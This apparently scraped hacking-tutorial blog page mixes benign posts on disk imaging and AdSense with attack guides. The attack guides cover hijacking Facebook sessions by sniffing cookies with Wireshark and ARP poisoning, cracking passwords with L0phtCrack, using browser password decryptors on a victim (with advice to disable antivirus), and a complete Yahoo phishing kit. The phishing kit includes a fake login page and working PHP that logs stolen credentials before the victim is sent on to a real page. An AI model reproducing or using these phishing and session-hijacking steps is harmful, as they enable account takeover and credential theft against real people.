How To Save Your Facebook Account

So now its our final touch to “SAVE YOUR FACEBOOK ACCOUNT”. Before we proceed again I want to notify you that every online facebook cracking tool that I found in Google search were just scams. I'll not advice any of you to try them just because they will just waste your time.

The final way how an attacker can hack your facebook account by creating a facebook application and sending you request to use it. Please note that hacking facebook does not always include hacking passwords, it may also include getting your e-mail ID, telephone numbers and list of your friends along with their e-mail ids. If you have used any facebook application then you might remember that every application asks for access to your personal information, if you grant access application can take over every possible information that is available on your account.

You may have came across some applications like “Who visited your facebook account”, “Get Free Mobile Recharge”, “Unknown Secrets Of Girls/Boys” and “Get 1000$ wire transferred to your account”. Now even facebook don't have any mechanism to know who visited your profile then how an application will know, free mobile recharge is no doubt is bluff and that secret thing about girls/boys shows you nothing. All these applications just spam on everyone's wall of your friend list and and then they get tempted to use it and it again spams their friend list. Never believe these kinda applications they are just scamming stuff. The last but not the least is that 1000$ wire transfer, no doubt you are biggest fool if you believe that application really works. I think there is no need to explain what it really does.

At last I will just ask you to keep yourself safe from all these kinda facebook applications. If you don't use any application anymore just delete that application from your profile. If any new method will arrive which will claim its possibility to hack facebook then I ll come back with a solution. Thank you, have a nice time and keep visiting.

Read More

How To Hack Facebook Account Using Wireshark

In this tutorial we will have out look on how you can hack facebook account using wireshark. First of all I must clear you even though you'll get access to victim's account you'll not get his/her password, next this trick will work only on LAN with hub. It will also work on LAN with switch but you'll have to perform ARP poisoning, click on link to know more. Here surely I 'll not discus how to use wireshark please read our previous tutorials to know how to use wireshark.

For this hack you'll need wireshark which is a packet sniffing tool, Mozilla Firefox web browser and add n edit add-on for Mozilla Firefox. Now I assume you have all above components for hacking facebook and you are connected in a hub based LAN or LAN which has been ARP poisoned. So now click on capture button and start capturing packets.

Now using command line shell ping www.facebook.com to get its IP address, filter all IP packets having IP address of www.facebook.com and search for HTTP protocol followed by GET /home.php, this may vary depending on region and time/zone but don't bother try to search all packets with HTTP GET for cookies.

Now from packet details window expand the packet information for above packet and you'll get 8-10 different cookies that are stored by www.facebook.com on victim's PC. Right click and copy all cookies names and values in notepad.

Now open Mozilla Firefox browse to tools and open Cookie editor. Add each cookie to your cookie folder using Cookie editor.

 After adding each value, your cookie editor will show you following values in cookie list for facebook.

Now close Cookie editor and open Facebook, you'll find yourself logged into the victims account.

Defense against this attack:

A system administrator should use tools used for countering sniffing.

Don't log-in into your accounts if you know your LAN is not protected and if you want to log-in better use a tunneled connection.

Download Wireshark from http://www.wireshark.org/.

Download Add N Edit Cookies from Add-Ons Mozzila

Read how to use wireshark.

What is ARP poisoning ?

What is sniffing ?

Read More

How To Create Ghost Image Of Disk For Free

Ghost images are cloned hard disks that can be used for backup purposes and backing up data. Are you among the people who always get bothered by following questions.

How to create disk image without software or free?

How to create ghost image of hard disk for free?

or

How to clone a disk for free?

If yes then you are the person who want to backup complete disk along with OS. So lets see how we can create hard disk image or ghost image or disk clone without using those highly priced ghost creating software.

Requirements:

Ubuntu Live CD/DVD, A hard disk with more capacity than the one you want to clone and some basic knowledge of Linux.

Procedure:

Linux provides disk dumping feature, this feature can be used for creating complete backup of any possible storage media. And we will use this feature of Linux command shell to create ghost images. While writing this tutorial I am assuming that you want to backup a hard disk which already have an OS installed in it.

Boot from Ubuntu Live CD/DVD

Now mount the hard disk you want to take backup on /mnt folder

Now take backup using following commands,

[root@localhost~]dd if=/dev/sda1 of=/mnt/image.img

this will create complete image of hard disk partition sda1, next you must take backup of partition table,

[root@localhost~]#dd if=/dev/sda of=/mnt/partitiontable.img count=0 bs=512

or

[root@localhost~]#dd if=/dev/sda of=/mnt/partitiontable.img count=0 bs=1024

Now while restoring first restore partition table on new hard disk

[root@localhost~]#dd if=/mnt/partitiontable.img of=/dev/sda count=0 bs=512

or

[root@localhost~]#dd if=/mnt/partitiontable.img of=/dev/sda count=0 bs=1024

Finally restore ghost image,

[root@localhost~]#partprobe /dev/sda

[root@localhost~]#dd if=/mnt/image.img of=/dev/sda1

Now please note that when you'll create ghost image no matter what amount of data you have in disk your ghost disk will be of actual size of source hard disk, that means if your source hard disk is 40GB in size then your ghost hard disk will also be of 40GB. If you think above tutorial was little geeky then even I don't take different view from you, yes its really little geeky but believe me its not that difficult. If you loved reading this post please subscribe to our email list. Thanks for reading keep visiting.

Read More

L0phtCrack 6 | Session Management

This is last part to L0phtCrack tutorial here we will discus how to manage password cracking sessions in L0phtCrack. To set specific password cracking session click on “session options” from “Auditing”. Following window will open in front of you
.

As you can see for each session L0phtCrack offers, all kind of password attacks including dictionary attacks for all possible language dictionaries, hybrid attack, precomputed hash or rainbow tables attack and even brute force attack.

To perform dictionary attack on password hash you will need a standard open dictionary file for the language you want to perform attack. You can add your own dictionary files, by default English dictionary is used. Now you might ask where I can find other language dictionary and the answer is, since the dictionary format is open, any open dictionary language file will work, if you get problem finding dictionary then download OpenOffice.org extract its cab file, search for “*.dic” and pick up dictionary you want.

Next is if you want to use precomputed hash for password cracking you can do so by enabling “precomputed” option then importing rainbow table file in it. Sooner or later we will cover how to create your own rainbow table and how to create a password dictionary till then if you want to try precomputed hash, you can download rainbow table files from http://www.freerainbowtables.com/en/tables/

Last option is brute force attack, I think there's no need to tell what is does but to use brute force attacker you surely need to buy L0phtCrack because trails version does not allow you to use brute force attack against password hashes. I hope I was easy covering all parts of L0phtCrack tutorial if you still have any problem don't hesitate to ask.

Read More

How To Hack Facebook Account:The Web Browser Attack

This Is New Edition Of Hacking Facebook Account

In this following post I ll discus with you about how you can hack facebook account using tools that can attack web browser's password safe. Each web browser has feature of storing passwords, every browser first encrypts that password and then stores it in password database but the fact is that their encryption method is so weak that these tools can retrieve passwords from them with or without master password enabled. They can sometimes retrieve passwords even from cookies and caches stored by web browsers that means you only need your victim to use web browser at least for once. Here I am providing you link to those tools along with small description as per by their manufactures, all of them are free and one click and output ready tools, surely they don't require tutorials just because result is obtained just by a single click.

Facebook Password Decryptor:

FacebookPasswordDecryptor is the FREE software to instantly recover stored Facebook account passwords stored by popular web browsers and messengers. Most of the applications store the Login passwords to prevent hassale of entering the password everytime by the user. Often these applications use their own proprietary encryption mechanism to store the login passwords including Facebook account passwords. FacebookPasswordDecryptor automatically crawls through each of these applications and instantly recovers the encrypted Facebook account password.

FacebookPasswordDecryptor presents both GUI interface as well as command line version, the later is more helpful for Penetration testers in their work. Apart from normal users who can use it to recover their lost password, it can come in handy for Forensic officials who can get hold of any stored Facebook Login passwords which can give vital clue in their investigation.

FacebookPasswordDecryptor is fully Portable software which can be directly run anywhere without installing locally. It also comes with Installer for those who wants to install it locally and use it on regular basis. It works on wide range of platforms starting from Windows XP to latest operating system Windows 7.

Download

Fire Master:

Firefox comes with built-in password manager tool which remembers username and passwords for all the websites you visit. This sign-on information is stored in the encrypted form in Firefox database files residing in user's profile directory. However any body can just launch the password manager from the Firefox browser and view the credentials. Also one can just copy these database files to different machine and view it offline using the tools such as FirePassword.

Hence to protect from such threats, Firefox uses master password to provide enhanced security. By default Firefox does not set the master password. However once you have set the master password, you need to provide it every time to view sign-on credentials. So if you have lost the master password, then you have lost all the stored credentials as well.

So far there was no way to recover these credentials once you have lost the master password. Now the FireMaster can help you to recover the master password and get back all the sign-on information.

Download

IE Password Decryptor:

IEPasswordDecryptor is the FREE tool to quickly and easily recover stored passwords from Internet Explorer. It can recover both Autocomplete and HTTP basic authentication passwords from IE secret store. User can double click on any of the entry to visit the website which makes it easy to verify sign-on passwords. It automatically detects the installed IE version and use appropriate technique to successfully decrypt all the stored passwords in plain text.

It also presents 'IE History Manager' interface which not only displays the contents of IE history in detail but also provides the option to add/remove websites with ease. User can save the displayed password list and IE history list to TEXT as well HTML file for offline verification & storage.

Download

Opera Password Decryptor:

OperaPasswordDecryptor is the FREE tool to instantly recover the passwords stored by all versions of Opera. Like other internet browsers such as IE, Firefox etc Opera also stores the username/passwords for websites visited by user. However passwords are stored only if the user opts to save password during authentication. This is very useful feature as it prevents user from hassle of entering password everytime.

Opera stores the passwords along with username, website and other related information in the password file (wand.dat) in an encrypted format. OperaPasswordDecryptor automatically detect the secret password file location and decrypts the passwords instantly.

Download

Safari Password Decryptor:

SafariPasswordDecryptor is the FREE software to instantly recover website login passwords stored by Safari web browser. Like other browsers, Safari also has built-in password manager which stores the login passwords for the visited websites so that user don't have to enter the password every time. Safari uses its own local storage format and encryption mechanism to securely store these login passwords. SafariPasswordDecryptor helps in automatically recovering all such website login passwords stored by Safari.

SafariPasswordDecryptor presents both GUI interface as well as command line version, the later is more helpful for Penetration testers in their work. Apart from normal users who can use it to recover their lost password, it can come in handy for Forensic officials who can get hold of any stored Website login passwords.

SafariPasswordDecryptor works on most of the Windows platforms starting from Windows XP to latest operating system, Windows 7.

Download

SX Password Suite:

SXPasswordSuite is the complete collection of all the FREE password recovery softwares released by SecurityXploded.com. It contains the latest version of all the password tools which makes it easy for the user to get all these tools at one place without worrying about downloading each of them separately.

Current version presents 6 new password recovery softwares BrowserPasswordDecryptor, iTunesPasswordDecryptor, MyspacePasswordDecryptor, PidginPasswordDecryptor, SafariPasswordDecryptor & YahooPasswordDecryptor. Also updates to few of the softwares with Safari support & fixes for Firefox.

All of these softwares work over wide range of platforms from Windows XP to latest Windows 7 version.

SXPasswordSuite includes following password recovery tools,

* BrowserPasswordDecryptor

* ChromePasswordDecryptor

* DigsbyPasswordDecryptor

* FacebookPasswordDecryptor

* FireMaster

* FireMasterLinux

* FirePassword

* FirePasswordViewer

* FTPPasswordSniffer

* GooglePasswordDecryptor

* IEPasswordDecryptor

* IMPasswordDecryptor

* iTunesPasswordDecryptor

* MirandaPasswordDecryptor

* MSNLivePasswordDecryptor

* MyspacePasswordDecryptor

* NetworkPasswordDecryptor

* OperaPasswordDecryptor

* OutlookPasswordDecryptor

* PaltalkPasswordDecryptor

* PidginPasswordDecryptor

* SafariPasswordDecryptor

* ThunderbirdPassDecryptor

* TrillianPasswordDecryptor

* TwitterPasswordDecryptor

* YahooPasswordDecryptor

Download

Note: Password recovery tools are very much prone to activate your anti-virus to alarm. I ll advise you to disable your anti-virus programs while using these tools. The best part about above password recovery tools is most of them have portable versions. Please notify me if you find any of those links broken I will replace them with working links

Read More

How to Add Google Adsense to Blog Header

1. Log in to your blogger account  >> Design >>Edit HTML

2. Put check mark to "Expand Widgets Template"

3. Find this code, by using Ctrl+F
                                                    <div class='region-inner header-inner'>

4.you will find this code.
                    <div id='header-wrapper'>
                  <b:section class='header'

         id='header' maxwidgets='1' showaddelement='no'> 

5. Replace the read value like this

                    <div id='header-wrapper'>
                  <b:section class='header' 
        id='header' maxwidgets='3' showaddelement='yes'> 

6. Click Preview and click save template. 

7. After go to Page Element  in Design tab

8.Click Add Gadget and select Adsense

9. Choose type you want.for example choose  new linked 728x15 ad unit from the drop down
    format menu for an Adsense ad that would sit above the blog title.and configure color.

10. Click save and view blog

Read More

Hack Yahoo Password | Phishing

This is our third tutorial to phishing in which we will cover how to hack yahoo password. In this following tutorial to phishing I’ll demonstrate how to phish mail.yahoo.com to hack yahoo account of victim. So as every other tutorial on phishing we start it by creating fake login page. To create fake login page open mail.yahoo.com from your web browser and save it on your desktop as “Web Page, Complete” with name Yahoomail. After above process you’ll have a file named Yahoomail.htm and a folder named Yahoomail_files in folder in which you’ll save web page. Now open Yahoomail.htm in notepad, find for action word and locate following string,

action="https://login.yahoo.com/config/login?"

Once located change action string by phish.php, so that above string should appear as following,

action="phish.php"

Now step number two is to create phish.php file. Open notepad and copy following code in it,

<?php

header ('Location: https://login.yahoo.com/config/login_verify2?&.src=ym ');

$handle = fopen("log.txt", "a");

foreach($_POST as $variable => $value) {

fwrite($handle, $variable);

fwrite($handle, "=");

fwrite($handle, $value);

fwrite($handle, "\r\n");

}

fwrite($handle, "\r\n");

fclose($handle);

exit;

?>

Save it as phish.php, now create an empty password log file log.txt. Now sign up for a free webhosting service which supports php from http://www.100best-free-web-space.com/. Now upload Yahoomail.htm file, php file, password log file and Yahoomail_files folder to that web host. Change permission of log.txt file to777 from settings. Now vector this phished site to victim to get his/her password.

I think three tutorials on Phishing are good enough to understand how to phish websites and hack passwords so in our next post on phishing we will discus how to vector phished sites. Till then, have a nice time, thanks for reading, hack yahoo passwords and keep visiting.

Read More